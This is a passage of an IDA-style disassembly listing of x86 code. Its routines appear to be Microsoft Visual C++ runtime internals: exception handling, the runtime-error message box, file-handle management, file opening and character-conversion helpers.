___:00423C8Bj ; ___:00423C90j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD140 nop call near ptr 26209DFh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao ; sub_422A2C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p mov eax, dword_4DBE3C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE44, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFA8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_423D98+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4D8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D568 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4D8[esi] jnz loc_423F21 mov eax, dword_4DBE3C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE44, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2670000h nop test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4DC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4DC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 262081Bh nop push eax nop call near ptr 2710000h loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD040 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD140 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD140, 20h lea ecx, ds:4DD040h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 push edi jnb short loc_424019 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE44, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj call near ptr 2610C5Dh nop loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD140 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD040h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE44, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej nop call near ptr 2610C5Dh loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax call near ptr 2610869h nop test eax, eax jnz short loc_424125 nop call near ptr 2680880h jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDE0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: ___:00429020o mov eax, dword_4DD020 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD020, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD020, esi call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D568 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC01C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7E8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D578 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD040[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5D8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: ___:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE1C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFAC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DBFF8, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDDC, 16h mov dword_4DBDE0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDE4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDE0, 0 mov dword_4DBDDC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 272081Ah nop mov esi, eax cmp esi, edi jz short loc_424405 push esi nop call near ptr 2620000h test eax, eax jnz short loc_424419 push esi nop call near ptr 266076Ah loc_424405: ; CODE XREF: sub_42423B+1B6j call near ptr 2680880h nop push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDE0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFB4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2600000h test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push ebx nop call near ptr 2610000h test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFB4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE84 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2610000h jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 26F0000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 26F0000h cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2600000h jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE84, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D084 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBE94 call near ptr 2860000h nop test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE84, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE78 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42476C mov eax, dword_43D084 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBE94 nop call near ptr 26F0000h test eax, eax mov eax, dword_43D084 jnz short loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBE94 